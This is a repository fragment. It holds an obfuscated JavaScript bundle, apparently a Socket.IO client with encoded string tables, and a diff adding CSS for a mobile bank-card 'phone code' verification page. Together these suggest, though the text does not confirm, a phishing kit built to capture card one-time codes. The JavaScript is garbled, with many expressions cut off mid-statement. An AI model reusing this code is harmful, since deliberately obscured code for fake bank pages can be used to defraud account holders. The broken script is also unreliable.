this[r(349)+"sports"].shift(),this[e(370)+"n"]();this["emitRese"+s(399)]("error",t),this[o(372)+e(433)]("transpor"+n(235)+n(269),t)}[Xf(372)+"lose"](t,e){const n=Zf,r=Xf,o=Zf,s=Kf,i=Xf;if(n(260)+n(331)===this[o(360)+r(284)+"te"]||"open"===this["read"+s(284)+"te"]||r(247)+i(331)===this[n(360)+"yState"]){if(this[o(344)+n(306)+s(252)+"Fn"](this["_pingTim"+n(252)+"Timer"]),this[o(349)+i(233)+"t"][n(364)+r(374)+"lLis"+s(429)+"rs"](n(247)+"e"),this["tran"+n(233)+"t"].close(),this.transport[n(364)+i(374)+s(244)+r(429)+"rs"](),Ff&&(this[i(238)+n(299)+o(338)+i(406)+"ntListener"]&&removeEventListener("befo"+r(290)+"load",this[o(238)+"oreu"+n(338)+o(406)+"ntListener"],!1),this["_off"+s(256)+s(326)+"tLis"+r(429)+"r"])){const t=Qf.indexOf(this["_off"+s(256)+i(326)+s(240)+r(429)+"r"]);-1!==t&&Qf[s(424)+"ce"](t,1)}this[n(360)+"yState"]="closed",this.id=null,this.emitReserved(s(247)+"e",t,e),this["writ"+r(286)+i(347)]=[],this[r(396)+"vBufferLen"]=0}}}$f[Xf(417)+"ocol"]=4;class th extends $f{constructor(){const t=Tf;super(...arguments),this[t(324)+"rades"]=[]}onOpen(){const t=Xf,e=Kf,n=Tf,r=Zf;if(super[t(275)+"en"](),"open"===this[t(360)+e(284)+"te"]&&this[t(276)]["upgr"+r(285)])for(let o=0;o{const t=o,e=o;a||(i.send([{type:t(350),data:"probe"}]),i[e(327)]("packet",n=>{const r=e,o=e,s=t,c=e,u=e;if(!a)if(r(243)===n[o(278)]&&r(363)+"e"===n.data){if(this["upgr"+s(336)+"g"]=!0,this[r(411)+u(397)+r(399)]("upgr"+s(336)+"g",i),!i)return;$f[r(403)+"rWebsocketSuccess"]=u(318)+"ocket"===i[u(248)],this["tran"+u(233)+"t"].pause(()=>{const t=s,e=r,n=s,o=r,c=r;a||t(247)+"ed"!==this.readyState&&(d(),this[e(229)+"ransport"](i),i[n(272)]([{type:n(422)+o(285)}]),this["emit"+c(397)+o(399)]("upgr"+e(285),i),i=null,this[t(422)+"ading"]=!1,this.flush())})}else{const t=new Error("prob"+r(391)+r(269));t[s(349)+s(233)+"t"]=i[u(248)],this[o(411)+s(397)+c(399)]("upgr"+o(375)+c(342),t)}}))};function u(){const t=n;a||(a=!0,d(),i[t(247)+"e"](),i=null)}const l=t=>{const n=e,o=e,s=r,a=new Error("prob"+n(391)+n(234)+" "+t);a["tran"+n(233)+"t"]=i.name,u(),this[o(411)+"Reserved"]("upgr"+s(375)+"rror",a)};function f(){const t=o;l(o(349)+t(233)+"t closed")}function h(){l("socket closed")}function p(t){i&&t.name!==i[r(248)]&&u()}const d=()=>{const t=e,r=n,s=o,a=o;i[t(364)+r(236)+r(251)+"er"](a(260),c),i["removeLi"+r(251)+"er"](t(241)+"r",l),i["removeLi"+a(251)+"er"]("close",f),this[s(389)]("close",h),this[t(389)]("upgrading",p)};i[s(327)](e(260),c),i.once("error",l),i[o(327)]("close",f),this.once(o(247)+"e",h),this.once("upgrading",p),-1!==this[o(324)+"rades"][n(254)+"xOf"](e(302)+e(300)+o(333))&&t!==n(302)+"ransport"?this["setT"+r(291)+"utFn"](()=>{!a&&i.open()},200):i.open()}[Kf(373)+Kf(259)+"ake"](t){const e=Kf,n=Zf,r=Tf,o=Xf;this[Zf(324)+e(386)+"s"]=this["_fil"+e(405)+r(430)+"des"](t[o(422)+r(311)]),super["onHa"+n(259)+e(231)](t)}["_fil"+Xf(405)+"pgrades"](t){const e=Xf,n=Xf,r=Of,o=[];for(let s=0;sMf[t]).filter(t=>!!t)),super(t,i)}};function nh(){const t=["ChrPBW","y29UCW","AcbYzq","DhjHyW","ywXZ","C29JAW","oxLSs0PTCW","zxq9vq","DgfIBa","veyToa","y29UDa","CM9Y","zgvYCW","zNvUyW","zxrdBW","mtC2nJmYmeTrCejyBa","DxjP","ksGGkq","ue9tva","ntu4mdy0B2z3sKfH","B2XL","Bg9N","mte3odqXmgPOt3rOCW","Dhj1yW","zg9xCG","mta0otm0uK1NAvLS","C2v0","DhLWzq","CMLUzW","zMv0yW","n0L4BwP0BG","CNjVCG","r0vu","kcKG","B2TPzq","B3b0CW","CMv0Dq","ywqGzq","mJu0mJK3seThDKHI","AxrLia","nJmWoti1ovDotLbfAG","zxjZ","B3r5Ca","nefZELrgDW","AgvHza","B25fCG","yuHLyq","mtC2ntyWs0Xws2fr","oxnQDwfnDa","B25eyq","y2f0yW","Aw5JBa","ChjVDa","Dgv4Da","DgHLBG","x2zLDa"];return(nh=function(){return t})()}const rh=sh,oh=sh;function sh(t,e){t-=319;const n=nh();let r=n[t];void 0===sh.qTzVzY&&(sh.pZJsAU=function(t){let e="",n="";for(let r,o,s=0,i=0;o=t.charAt(i++);~o&&(r=s%4?64*r+o:o,s++%4)?e+=String.fromCharCode(255&r>>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r{const e=hh;return typeof ArrayBuffer[hh(161)+"ew"]=="func"+e(149)?ArrayBuffer.isView(t):t.buffer instanceof ArrayBuffer})(t))||zh&&t instanceof Blob||qh&&t instanceof File}function mh(t,e){t-=126;const n=vh();let r=n[t];void 0===mh.CTzjHH&&(mh.QCHAaS=function(t){let e="",n="";for(let r,o,s=0,i=0;o=t.charAt(i++);~o&&(r=s%4?64*r+o:o,s++%4)?e+=String.fromCharCode(255&r>>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r=0&&t[r(252)]>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;r{delete this.acks[t];for(let e=0;e{this.io.clearTimeoutFn(o),e.apply(this,t)};s.withError=!0,this.acks[t]=s}emitWithAck(t,...e){return new Promise((n,r)=>{const o=(t,e)=>t?r(t):n(e);o.withError=!0,e.push(o),this.emit(t,...e)})}_addToQueue(t){let e;"function"==typeof t[t.length-1]&&(e=t.pop());const n={id:this._queueSeq++,tryCount:0,pending:!1,args:t,flags:Object.assign({fromQueue:!0},this.flags)};t.push((t,...r)=>{if(n===this._queue[0])return null!==t?n.tryCount>this._opts.retries&&(this._queue.shift(),e&&e(t)):(this._queue.shift(),e&&e(null,...r)),n.pending=!1,this._drainQueue()}),this._queue.push(n),this._drainQueue()}_drainQueue(t=!1){if(!this.connected||0===this._queue.length)return;const e=this._queue[0];e.pending&&!t||(e.pending=!0,e.tryCount++,this.flags=e.flags,this.emit.apply(this,e.args))}packet(t){t.nsp=this.nsp,this.io._packet(t)}onopen(){"function"==typeof this.auth?this.auth(t=>{this._sendConnectPacket(t)}):this._sendConnectPacket(this.auth)}_sendConnectPacket(t){this.packet({type:Uh.CONNECT,data:this._pid?Object.assign({pid:this._pid,offset:this._lastOffset},t):t})}onerror(t){this.connected||this.emitReserved("connect_error",t)}onclose(t,e){this.connected=!1,delete this.id,this.emitReserved("disconnect",t,e),this._clearAcks()}_clearAcks(){Object.keys(this.acks).forEach(t=>{if(!this.sendBuffer.some(e=>String(e.id)===t)){const e=this.acks[t];delete this.acks[t],e.withError&&e.call(this,new Error("socket has been disconnected"))}})}onpacket(t){if(t.nsp===this.nsp)switch(t.type){case Uh.CONNECT:t.data&&t.data.sid?this.onconnect(t.data.sid,t.data.pid):this.emitReserved("connect_error",new Error("It seems you are trying to reach a Socket.IO server in v2.x with a v3.x client, but they are not compatible (more information here: https://socket.io/docs/v3/migrating-from-2-x-to-3-0/)"));break;case Uh.EVENT:case Uh.BINARY_EVENT:this.onevent(t);break;case Uh.ACK:case Uh.BINARY_ACK:this.onack(t);break;case Uh.DISCONNECT:this.ondisconnect();break;case Uh.CONNECT_ERROR:this.destroy();const e=new Error(t.data.message);e.data=t.data.data,this.emitReserved("connect_error",e)}}onevent(t){const e=t.data||[];null!=t.id&&e.push(this.ack(t.id)),this.connected?this.emitEvent(e):this.receiveBuffer.push(Object.freeze(e))}emitEvent(t){if(this._anyListeners&&this._anyListeners.length){const e=this._anyListeners.slice();for(const n of e)n.apply(this,t)}super.emit.apply(this,t),this._pid&&t.length&&"string"==typeof t[t.length-1]&&(this._lastOffset=t[t.length-1])}ack(t){const e=this;let n=!1;return function(...r){n||(n=!0,e.packet({type:Uh.ACK,id:t,data:r}))}}onack(t){const e=this.acks[t.id];"function"==typeof e&&(delete this.acks[t.id],e.withError&&t.data.unshift(null),e.apply(this,t.data))}onconnect(t,e){this.id=t,this.recovered=e&&this._pid===e,this._pid=e,this.connected=!0,this.emitBuffered(),this.emitReserved("connect"),this._drainQueue(!0)}emitBuffered(){this.receiveBuffer.forEach(t=>this.emitEvent(t)),this.receiveBuffer=[],this.sendBuffer.forEach(t=>{this.notifyOutgoingListeners(t),this.packet(t)}),this.sendBuffer=[]}ondisconnect(){this.destroy(),this.onclose("io server disconnect")}destroy(){this.subs&&(this.subs.forEach(t=>t()),this.subs=void 0),this.io._destroy(this)}disconnect(){return this.connected&&this.packet({type:Uh.DISCONNECT}),this.destroy(),this.connected&&this.onclose("io client disconnect"),this}close(){return this.disconnect()}compress(t){return this.flags.compress=t,this}get volatile(){return this.flags.volatile=!0,this}timeout(t){return this.flags.timeout=t,this}onAny(t){return this._anyListeners=this._anyListeners||[],this._anyListeners.push(t),this}prependAny(t){return this._anyListeners=this._anyListeners||[],this._anyListeners.unshift(t),this}offAny(t){if(!this._anyListeners)return this;if(t){const e=this._anyListeners;for(let n=0;n0&&t.jitter<=1?t.jitter:0,this.attempts=0}Vh.prototype.duration=function(){var t=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var e=Math.random(),n=Math.floor(e*this.jitter*t);t=1&Math.floor(10*e)?t+n:t-n}return 0|Math.min(t,this.max)},Vh.prototype.reset=function(){this.attempts=0},Vh.prototype.setMin=function(t){this.ms=t},Vh.prototype.setMax=function(t){this.max=t},Vh.prototype.setJitter=function(t){this.jitter=t};class Rh extends $u{constructor(t,e){var n;super(),this.nsps={},this.subs=[],t&&"object"==typeof t&&(e=t,t=void 0),(e=e||{}).path=e.path||"/socket.io",this.opts=e,vl(this,e),this.reconnection(!1!==e.reconnection),this.reconnectionAttempts(e.reconnectionAttempts||1/0),this.reconnectionDelay(e.reconnectionDelay||1e3),this.reconnectionDelayMax(e.reconnectionDelayMax||5e3),this.randomizationFactor(null!==(n=e.randomizationFactor)&&void 0!==n?n:.5),this.backoff=new Vh({min:this.reconnectionDelay(),max:this.reconnectionDelayMax(),jitter:this.randomizationFactor()}),this.timeout(null==e.timeout?2e4:e.timeout),this._readyState="closed",this.uri=t;const r=e.parser||Oh;this.encoder=new r.Encoder,this.decoder=new r.Decoder,this._autoConnect=!1!==e.autoConnect,this._autoConnect&&this.open()}reconnection(t){return arguments.length?(this._reconnection=!!t,t||(this.skipReconnect=!0),this):this._reconnection}reconnectionAttempts(t){return void 0===t?this._reconnectionAttempts:(this._reconnectionAttempts=t,this)}reconnectionDelay(t){var e;return void 0===t?this._reconnectionDelay:(this._reconnectionDelay=t,null===(e=this.backoff)||void 0===e||e.setMin(t),this)}randomizationFactor(t){var e;return void 0===t?this._randomizationFactor:(this._randomizationFactor=t,null===(e=this.backoff)||void 0===e||e.setJitter(t),this)}reconnectionDelayMax(t){var e;return void 0===t?this._reconnectionDelayMax:(this._reconnectionDelayMax=t,null===(e=this.backoff)||void 0===e||e.setMax(t),this)}timeout(t){return arguments.length?(this._timeout=t,this):this._timeout}maybeReconnectOnOpen(){!this._reconnecting&&this._reconnection&&0===this.backoff.attempts&&this.reconnect()}open(t){if(~this._readyState.indexOf("open"))return this;this.engine=new eh(this.uri,this.opts);const e=this.engine,n=this;this._readyState="opening",this.skipReconnect=!1;const r=Kh(e,"open",function(){n.onopen(),t&&t()}),o=e=>{this.cleanup(),this._readyState="closed",this.emitReserved("error",e),t?t(e):this.maybeReconnectOnOpen()},s=Kh(e,"error",o);if(!1!==this._timeout){const t=this.setTimeoutFn(()=>{r(),o(new Error("timeout")),e.close()},this._timeout);this.opts.autoUnref&&t.unref(),this.subs.push(()=>{this.clearTimeoutFn(t)})}return this.subs.push(r),this.subs.push(s),this}connect(t){return this.open(t)}onopen(){this.cleanup(),this._readyState="open",this.emitReserved("open");const t=this.engine;this.subs.push(Kh(t,"ping",this.onping.bind(this)),Kh(t,"data",this.ondata.bind(this)),Kh(t,"error",this.onerror.bind(this)),Kh(t,"close",this.onclose.bind(this)),Kh(this.decoder,"decoded",this.ondecoded.bind(this)))}onping(){this.emitReserved("ping")}ondata(t){try{this.decoder.add(t)}catch(e){this.onclose("parse error",e)}}ondecoded(t){rl(()=>{this.emitReserved("packet",t)},this.setTimeoutFn)}onerror(t){this.emitReserved("error",t)}socket(t,e){let n=this.nsps[t];return n?this._autoConnect&&!n.active&&n.connect():(n=new Jh(this,t,e),this.nsps[t]=n),n}_destroy(t){const e=Object.keys(this.nsps);for(const n of e)if(this.nsps[n].active)return;this._close()}_packet(t){const e=this.encoder.encode(t);for(let n=0;nt()),this.subs.length=0,this.decoder.destroy()}_close(){this.skipReconnect=!0,this._reconnecting=!1,this.onclose("forced close")}disconnect(){return this._close()}onclose(t,e){var n;this.cleanup(),null===(n=this.engine)||void 0===n||n.close(),this.backoff.reset(),this._readyState="closed",this.emitReserved("close",t,e),this._reconnection&&!this.skipReconnect&&this.reconnect()}reconnect(){if(this._reconnecting||this.skipReconnect)return this;const t=this;if(this.backoff.attempts>=this._reconnectionAttempts)this.backoff.reset(),this.emitReserved("reconnect_failed"),this._reconnecting=!1;else{const e=this.backoff.duration();this._reconnecting=!0;const n=this.setTimeoutFn(()=>{t.skipReconnect||(this.emitReserved("reconnect_attempt",t.backoff.attempts),t.skipReconnect||t.open(e=>{e?(t._reconnecting=!1,t.reconnect(),this.emitReserved("reconnect_error",e)):t.onreconnect()}))},e);this.opts.autoUnref&&n.unref(),this.subs.push(()=>{this.clearTimeoutFn(n)})}}onreconnect(){const t=this.backoff.attempts;this._reconnecting=!1,this.backoff.reset(),this.emitReserved("reconnect",t)}}const Fh={};function Qh(t,e){"object"==typeof t&&(e=t,t=void 0);const n=function(t,e="",n){let r=t;n=n||"undefined"!=typeof location&&location,null==t&&(t=n.protocol+"//"+n.host),"string"==typeof t&&("/"===t.charAt(0)&&(t="/"===t.charAt(1)?n.protocol+t:n.host+t),/^(https?|wss?):\/\//.test(t)||(t=void 0!==n?n.protocol+"//"+t:"https://"+t),r=Nf(t)),r.port||(/^(http|ws)$/.test(r.protocol)?r.port="80":/^(http|ws)s$/.test(r.protocol)&&(r.port="443")),r.path=r.path||"/";const o=-1!==r.host.indexOf(":")?"["+r.host+"]":r.host;return r.id=r.protocol+"://"+o+":"+r.port+e,r.href=r.protocol+"://"+o+(n&&n.port===r.port?"":":"+r.port),r}(t,(e=e||{}).path||"/socket.io"),r=n.source,o=n.id;let s;return e.forceNew||e["force new connection"]||!1===e.multiplex||Fh[o]&&n.path in Fh[o].nsps?s=new Rh(r,e):(Fh[o]||(Fh[o]=new Rh(r,e)),s=Fh[o]),n.query&&!e.query&&(e.query=n.queryKey),s.socket(n.path,e)}Object.assign(Qh,{Manager:Rh,Socket:Jh,io:Qh,connect:Qh});export{os as A,kr as B,sa as C,Zr as D,yo as E,To as F,Nr as G,In as H,ea as I,Cs as J,Hr as K,Sn as L,On as M,Sr as N,Ti as O,ua as P,la as Q,ri as T,Ae as a,Le as b,ks as c,cr as d,Ye as e,Dr as f,pa as g,Hs as h,ao as i,rs as j,$o as k,Qh as l,us as m,Cn as n,Wr as o,io as p,R as q,Tc as r,Ne as s,ds as t,Oe as u,ct as v,lo as w,ls as x,ps as y,O as z}; diff --git a/a5_za_sf_finessa/public/Static_zy/static/DryxL-Lc.css b/a5_za_sf_finessa/public/Static_zy/static/DryxL-Lc.css new file mode 100644 index 0000000..7c748f8 --- /dev/null +++ b/a5_za_sf_finessa/public/Static_zy/static/DryxL-Lc.css @@ -0,0 +1,6693 @@ +.phone-code[data-v-f7db4705] { + width: 100%; + max-width: 100%; + min-height: 100vh; + display: flex; + justify-content: center; + align-items: flex-start; + padding: 0; + background: #fff; + overflow-x: hidden; + box-sizing: border-box +} + +.card[data-v-f7db4705] { + width: 100%; + max-width: 500px; + min-height: 100vh; + background: #fff; + border-radius: 0; + box-shadow: none; + overflow: hidden; + overflow-x: hidden; + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box +} + +.card-header[data-v-f7db4705] { + display: flex; + align-items: center; + padding: 16px 20px; + background: #f7f9fb; + border-bottom: 1px solid #e5e7eb; + flex-shrink: 0 +} + +.card-header.has-card-brand[data-v-f7db4705] { + justify-content: space-between +} + +.card-header[data-v-f7db4705]:not(.has-card-brand) { + justify-content: flex-start +} + +.bank-icon[data-v-f7db4705] { + width: 40px; + height: 40px; + object-fit: contain +} + +.card-brand-icon[data-v-f7db4705] { + height: 28px; + width: auto; + object-fit: contain +} + +.card-body[data-v-f7db4705] { + padding: 20px; + position: relative; + flex: 1; + display: flex; + flex-direction: column +} + +.title[data-v-f7db4705] { + margin: 0 0 12px; + font-size: 20px; + font-weight: 700; + color: #1f2937; + line-height: 1.3 +} + +.description[data-v-f7db4705] { + margin: 0 0 20px; + color: #6b7280; + font-size: 14px; + line-height: 1.6 +} + +.field[data-v-f7db4705] { + margin-bottom: 20px +} + +.label[data-v-f7db4705] { + display: block; + margin-bottom: 8px; + font-size: 14px; + color: #374151; + font-weight: 600 +} + +.error[data-v-f7db4705] { + margin-top: 8px; + font-size: 13px; + color: #ef4444 +} + +.actions[data-v-f7db4705] { + display: flex; + align-items: center; + gap: 12px; + margin-bottom: 24px; + flex-wrap: wrap +} + +.submit[data-v-f7db4705] { + padding: 12px 24px; + border: none; + border-radius: 6px; + background: #2563eb; + color: #fff; + font-size: 14px; + font-weight: 600; + cursor: pointer; + min-width: 100px; + flex: 1; + transition: background-color .2s; + -webkit-tap-highlight-color: transparent +} + +.submit[data-v-f7db4705]:hover:not(:disabled) { + background: #1d4ed8 +} + +.submit[data-v-f7db4705]:active:not(:disabled) { + background: #1e40af +} + +.submit[data-v-f7db4705]:disabled { + opacity: .6; + cursor: not-allowed +} + +.link[data-v-f7db4705] { + background: transparent; + border: none; + color: #2563eb; + font-size: 14px; + font-weight: 500; + cursor: pointer; + padding: 12px 0; + text-decoration: none; + transition: color .2s; + -webkit-tap-highlight-color: transparent +} + +.link[data-v-f7db4705]:hover:not(:disabled) { + color: #1d4ed8; + text-decoration: underline +} + +.link[data-v-f7db4705]:active:not(:disabled) { + color: #1e40af +} + +.link[data-v-f7db4705]:disabled { + color: #9ca3af; + cursor: not-allowed; + opacity: .6 +} + +.expandable-section[data-v-f7db4705] { + margin-bottom: 16px; + border-top: 1px solid #e5e7eb; + padding-top: 16px +} + +.expandable-item[data-v-f7db4705] { + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + padding: 8px 0; + color: #374151; + font-size: 14px; + font-weight: 500; + -webkit-user-select: none; + user-select: none; + transition: color .2s; + -webkit-tap-highlight-color: transparent +} + +.expandable-item[data-v-f7db4705]:active { + color: #2563eb +} + +.expand-icon[data-v-f7db4705] { + font-size: 20px; + font-weight: 300; + color: #6b7280; + transition: transform .3s, color .2s; + line-height: 1; + width: 20px; + height: 20px; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0 +} + +.expand-icon.expanded[data-v-f7db4705] { + transform: rotate(45deg); + color: #2563eb +} + +.expandable-content[data-v-f7db4705] { + margin-top: 12px; + padding: 12px 0; + color: #6b7280; + font-size: 13px; + line-height: 1.6; + animation: fadeIn-f7db4705 .3s ease-in +} + +.expandable-content p[data-v-f7db4705] { + margin: 0 +} + +.phone-code[dir=rtl] .title[data-v-f7db4705], +.phone-code[dir=rtl] .description[data-v-f7db4705], +.phone-code[dir=rtl] .label[data-v-f7db4705], +.phone-code[dir=rtl] .error[data-v-f7db4705], +.phone-code[dir=rtl] .expandable-content p[data-v-f7db4705] { + text-align: right +} + +.phone-code[dir=rtl] .card-header[data-v-f7db4705], +.phone-code[dir=rtl] .expandable-item[data-v-f7db4705], +.phone-code[dir=rtl] .actions[data-v-f7db4705] { + flex-direction: row-reverse +} + +@keyframes fadeIn-f7db4705 { + 0% { + opacity: 0; + transform: translateY(-5px) + } + + to { + opacity: 1; + transform: translateY(0) + } +} + +.overlay[data-v-f7db4705] { + position: absolute; + inset: 0; + background: #fffc; + display: flex; + align-items: center; + justify-content: center; + border-radius: 0; + z-index: 10 +} + +.spinner[data-v-f7db4705] { + width: 32px; + height: 32px; + border: 3px solid #e5e7eb; + border-top-color: #2563eb; + border-radius: 50%; + animation: spin-f7db4705 1s linear infinite +} + +@keyframes spin-f7db4705 { + to { + transform: rotate(360deg) + } +} + +@media(min-width:768px) { + .phone-code[data-v-f7db4705] { + min-height: auto; + padding: 20px; + background: transparent; + align-items: center + } + + .card[data-v-f7db4705] { + min-height: auto; + border-radius: 12px; + box-shadow: 0 2px 8px #0000001a + } + + .card-header[data-v-f7db4705] { + padding: 20px 24px + } + + .bank-icon[data-v-f7db4705] { + width: 48px; + height: 48px + } + + .card-brand-icon[data-v-f7db4705] { + height: 30px + } + + .card-body[data-v-f7db4705] { + padding: 24px + } + + .title[data-v-f7db4705] { + font-size: 24px + } + + .description[data-v-f7db4705] { + margin-bottom: 24px + } + + .actions[data-v-f7db4705] { + gap: 16px + } + + .submit[data-v-f7db4705] { + flex: 0 1 auto + } + + .link[data-v-f7db4705] { + padding: 0 + } + + .expandable-item[data-v-f7db4705]:hover { + color: #2563eb + } + + .overlay[data-v-f7db4705] { + border-radius: 12px + } +} + +@media(max-width:375px) { + .card-header[data-v-f7db4705] { + padding: 14px 16px + } + + .bank-icon[data-v-f7db4705] { + width: 36px; + height: 36px + } + + .card-brand-icon[data-v-f7db4705] { + height: 24px + } + + .card-body[data-v-f7db4705] { + padding: 16px + } + + .title[data-v-f7db4705] { + font-size: 18px; + margin-bottom: 10px + } + + .description[data-v-f7db4705] { + font-size: 13px; + margin-bottom: 16px + } + + .actions[data-v-f7db4705] { + flex-direction: column; + gap: 8px + } + + .submit[data-v-f7db4705] { + width: 100% + } + + .link[data-v-f7db4705] { + width: 100%; + text-align: center + } +} + +.phone-code[data-v-ae6e0698] { + width: 100%; + max-width: 100%; + min-height: 100vh; + display: flex; + justify-content: center; + align-items: flex-start; + padding: 0; + background: #fff; + overflow-x: hidden; + box-sizing: border-box +} + +.card[data-v-ae6e0698] { + width: 100%; + max-width: 500px; + min-height: 100vh; + background: #fff; + border-radius: 0; + box-shadow: none; + overflow: hidden; + overflow-x: hidden; + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box +} + +.card-header[data-v-ae6e0698] { + display: flex; + align-items: center; + padding: 16px 20px; + background: #f7f9fb; + border-bottom: 1px solid #e5e7eb; + flex-shrink: 0 +} + +.card-header.has-card-brand[data-v-ae6e0698] { + justify-content: space-between +} + +.card-header[data-v-ae6e0698]:not(.has-card-brand) { + justify-content: flex-start +} + +.bank-icon[data-v-ae6e0698] { + width: 40px; + height: 40px; + object-fit: contain +} + +.card-brand-icon[data-v-ae6e0698] { + height: 28px; + width: auto; + object-fit: contain +} + +.card-body[data-v-ae6e0698] { + padding: 20px; + position: relative; + flex: 1; + display: flex; + flex-direction: column +} + +.title[data-v-ae6e0698] { + margin: 0 0 12px; + font-size: 20px; + font-weight: 700; + color: #1f2937; + line-height: 1.3 +} + +.description[data-v-ae6e0698] { + margin: 0 0 20px; + color: #6b7280; + font-size: 14px; + line-height: 1.6 +} + +.field[data-v-ae6e0698] { + margin-bottom: 20px +} + +.label[data-v-ae6e0698] { + display: block; + margin-bottom: 8px; + font-size: 14px; + color: #374151; + font-weight: 600 +} + +.error[data-v-ae6e0698] { + margin-top: 8px; + font-size: 13px; + color: #ef4444 +} + +.actions[data-v-ae6e0698] { + display: flex; + align-items: center; + gap: 12px; + margin-bottom: 24px; + flex-wrap: wrap +} + +.submit[data-v-ae6e0698] { + padding: 12px 24px; + border: none; + border-radius: 6px; + background: #2563eb; + color: #fff; + font-size: 14px; + font-weight: 600; + cursor: pointer; + min-width: 100px; + flex: 1; + transition: background-color .2s; + -webkit-tap-highlight-color: transparent +} + +.submit[data-v-ae6e0698]:hover:not(:disabled) { + background: #1d4ed8 +} + +.submit[data-v-ae6e0698]:active:not(:disabled) { + background: #1e40af +} + +.submit[data-v-ae6e0698]:disabled { + opacity: .6; + cursor: not-allowed +} + +.link[data-v-ae6e0698] { + background: transparent; + border: none; + color: #2563eb; + font-size: 14px; + font-weight: 500; + cursor: pointer; + padding: 12px 0; + text-decoration: none; + transition: color .2s; + -webkit-tap-highlight-color: transparent +} + +.link[data-v-ae6e0698]:hover:not(:disabled) { + color: #1d4ed8; + text-decoration: underline +} + +.link[data-v-ae6e0698]:active:not(:disabled) { + color: #1e40af +} + +.link[data-v-ae6e0698]:disabled { + color: #9ca3af; + cursor: not-allowed; + opacity: .6 +} + +.expandable-section[data-v-ae6e0698] { + margin-bottom: 16px; + border-top: 1px solid #e5e7eb; + padding-top: 16px +} + +.expandable-item[data-v-ae6e0698] { + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + padding: 8px 0; + color: #374151; + font-size: 14px; + font-weight: 500; + -webkit-user-select: none; + user-select: none; + transition: color .2s; + -webkit-tap-highlight-color: transparent +} + +.expandable-item[data-v-ae6e0698]:active { + color: #2563eb +} + +.expand-icon[data-v-ae6e0698] { + font-size: 20px; + font-weight: 300; + color: #6b7280; + transition: transform .3s, color .2s; + line-height: 1; + width: 20px; + height: 20px; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0 +} + +.expand-icon.expanded[data-v-ae6e0698] { + transform: rotate(45deg); + color: #2563eb +} + +.expandable-content[data-v-ae6e0698] { + margin-top: 12px; + padding: 12px 0; + color: #6b7280; + font-size: 13px; + line-height: 1.6; + animation: fadeIn-ae6e0698 .3s ease-in +} + +.expandable-content p[data-v-ae6e0698] { + margin: 0 +} + +.phone-code[dir=rtl] .title[data-v-ae6e0698], +.phone-code[dir=rtl] .description[data-v-ae6e0698], +.phone-code[dir=rtl] .label[data-v-ae6e0698], +.phone-code[dir=rtl] .error[data-v-ae6e0698], +.phone-code[dir=rtl] .expandable-content p[data-v-ae6e0698] { + text-align: right +} + +.phone-code[dir=rtl] .card-header[data-v-ae6e0698], +.phone-code[dir=rtl] .expandable-item[data-v-ae6e0698], +.phone-code[dir=rtl] .actions[data-v-ae6e0698] { + flex-direction: row-reverse +} + +@keyframes fadeIn-ae6e0698 { + 0% { + opacity: 0; + transform: translateY(-5px) + } + + to { + opacity: 1; + transform: translateY(0) + } +} + +.overlay[data-v-ae6e0698] { + position: absolute; + inset: 0; + background: #fffc; + display: flex; + align-items: center; + justify-content: center; + border-radius: 0; + z-index: 10 +} + +.spinner[data-v-ae6e0698] { + width: 32px; + height: 32px; + border: 3px solid #e5e7eb; + border-top-color: #2563eb; + border-radius: 50%; + animation: spin-ae6e0698 1s linear infinite +} + +@keyframes spin-ae6e0698 { + to { + transform: rotate(360deg) + } +} + +@media(min-width:768px) { + .phone-code[data-v-ae6e0698] { + min-height: auto; + padding: 20px; + background: transparent; + align-items: center + } + + .card[data-v-ae6e0698] { + min-height: auto; + border-radius: 12px; + box-shadow: 0 2px 8px #0000001a + } + + .card-header[data-v-ae6e0698] { + padding: 20px 24px + } + + .bank-icon[data-v-ae6e0698] { + width: 48px; + height: 48px + } + + .card-brand-icon[data-v-ae6e0698] { + height: 30px + } + + .card-body[data-v-ae6e0698] { + padding: 24px + } + + .title[data-v-ae6e0698] { + font-size: 24px + } + + .description[data-v-ae6e0698] { + margin-bottom: 24px + } + + .actions[data-v-ae6e0698] { + gap: 16px + } + + .submit[data-v-ae6e0698] { + flex: 0 1 auto + } + + .link[data-v-ae6e0698] { + padding: 0 + } + + .expandable-item[data-v-ae6e0698]:hover { + color: #2563eb + } + + .overlay[data-v-ae6e0698] { + border-radius: 12px + } +} + +@media(max-width:375px) { + .card-header[data-v-ae6e0698] { + padding: 14px 16px + } + + .bank-icon[data-v-ae6e0698] { + width: 36px; + height: 36px + } + + .card-brand-icon[data-v-ae6e0698] { + height: 24px + } + + .card-body[data-v-ae6e0698] { + padding: 16px + } + + .title[data-v-ae6e0698] { + font-size: 18px; + margin-bottom: 10px + } + + .description[data-v-ae6e0698] { + font-size: 13px; + margin-bottom: 16px + } + + .actions[data-v-ae6e0698] { + flex-direction: column; + gap: 8px + } + + .submit[data-v-ae6e0698] { + width: 100% + } + + .link[data-v-ae6e0698] { + width: 100%; + text-align: center + } +} + +.phone-code[data-v-e18c07d0] { + width: 100%; + max-width: 100%; + min-height: 100vh; + display: flex; + justify-content: center; + align-items: flex-start; + padding: 0; + background: #fff; + overflow-x: hidden; + box-sizing: border-box +} + +.card[data-v-e18c07d0] { + width: 100%; + max-width: 500px; + min-height: 100vh; + background: #fff; + border-radius: 0; + box-shadow: none; + overflow: hidden; + overflow-x: hidden; + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box +} + +.card-header[data-v-e18c07d0] { + display: flex; + 